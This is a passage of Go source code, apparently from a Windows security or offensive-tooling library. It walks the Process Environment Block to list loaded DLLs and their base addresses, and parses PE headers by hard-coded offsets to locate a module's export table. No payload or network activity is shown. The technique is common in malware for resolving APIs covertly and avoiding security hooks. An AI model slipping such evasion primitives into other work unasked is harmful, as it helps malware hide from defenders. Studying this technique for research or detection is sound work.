262 | } 263 | 264 | func getExportTableAddress(name string) (uintptr, error) { 265 | addr, err := GetBaseAddrOfLoadedDll(name) 266 | if err != nil { 267 | return 0, err 268 | } 269 | //fmt.Printf("%p\n", unsafe.Pointer(addr)) 270 | e_lfanew := *((*uint32)(unsafe.Pointer(addr + 0x3c))) 271 | ntHeader := addr + uintptr(e_lfanew) 272 | fileHeader := ntHeader + 0x4 273 | // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header 274 | optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct 275 | exportDir := optionalHeader + 0x70 // offset to export table 276 | exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir))) 277 | exportDirAbsolute := addr + uintptr(exportDirOffset) 278 | //fmt.Printf("%p\n", unsafe.Pointer(exportDirAddress)) 279 | 280 | return exportDirAbsolute, nil 281 | } 282 | 283 | // returns address of a loaded module 284 | // Example : addr, err := getBaseAddrOfLoadedDll("ntdll.dll") 285 | func GetBaseAddrOfLoadedDll(name string) (uintptr, error) { 286 | modules := ListDllFromPEB() 287 | for _, module := range modules { 288 | if module.name == name { 289 | return module.address, nil 290 | } 291 | 292 | } 293 | return 0, fmt.Errorf("dll not Found") 294 | } 295 | 296 | // prints loaded modules in the current process 297 | func PrintModules() { 298 | modules := ListDllFromPEB() 299 | for _, module := range modules { 300 | fmt.Printf("%s -- %p \n", module.name, unsafe.Pointer(module.address)) 301 | 302 | } 303 | 304 | } 305 | 306 | // adds all loaded modules and their base addresses in a slice 307 | func ListDllFromPEB() []dllstruct { 308 | peb := windows.RtlGetCurrentPeb() 309 | moduleList := peb.Ldr.InMemoryOrderModuleList 310 | a := moduleList.Flink 311 | loadedModules := []dllstruct{} 312 | for { 313 | 314 | listentry := uintptr(unsafe.Pointer(a)) 315 | // -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure 316 | // +0x30 Dllbase address 317 | // +0x58 +0x8 address holding the address pointing to base dllname 318 | // offsets different for 32-bit processes 319 | DllBase := uintptr(listentry) - 0x10 + 0x30 320 | BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8 321 | 322 | v := *((*uintptr)(unsafe.Pointer(BaseDllName))) 323 | //fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name 324 | 325 | s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16 326 | dllNameStr := windows.UTF16PtrToString(s) 327 | if dllNameStr == "" { 328 | break 329 | } 330 | //print(dllNameStr, " ") 331 | dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase))) 332 | //fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr 333 | loadedModules = append(loadedModules, dllstruct{ 334 | name: dllNameStr, 335 | address: dllbaseaddr, 336 | }) 337 | a = a.Flink 338 | } 339 | 340 | return loadedModules 341 | } 342 | --------------------------------------------------------------------------------